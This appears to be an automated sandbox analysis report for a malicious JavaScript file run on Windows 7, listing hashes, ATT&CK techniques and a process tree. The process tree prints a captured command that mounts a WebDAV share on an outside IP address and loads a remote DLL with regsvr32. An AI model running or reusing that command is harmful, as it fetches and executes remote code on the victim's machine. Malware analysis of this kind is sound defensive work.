40f89c93baaa8c03f0b555e3aa02ac306347e54fd1acc329d4a5799a92aa936f

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
21/07/2024, 18:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

468113751320513550.js
Size

6KB
MD5

7bf77d4d6953c25604e492ec8b07656c
SHA1

e94317892f0bf3ac814101fd7324668529f92481
SHA256

ef33b6c82fda38d2f3fe67ab6a211ebe075faa9a400a7a884a7caa08c1e7c507
SHA512

f54719f21537dccd27de6c4bce444e47eebc8825ee208f2bbe0f88f092bac57b56e2bf821f75b51cb8be275d444437844a8c910a3e1bc06d887057fda30db662
SSDEEP

192:NXxijdE2s+N7Xg6XXXUMKAkR6XXXUMKLvPLEY:Bxi29B19BLXh

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2992 wrote to memory of 2400	2992	wscript.exe	30
PID 2992 wrote to memory of 2400	2992	wscript.exe	30
PID 2992 wrote to memory of 2400	2992	wscript.exe	30
PID 2400 wrote to memory of 2316	2400	cmd.exe	32
PID 2400 wrote to memory of 2316	2400	cmd.exe	32
PID 2400 wrote to memory of 2316	2400	cmd.exe	32

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\468113751320513550.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\53152408018038.dll
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2400
- - C:\Windows\system32\net.exe
    net use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2316

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads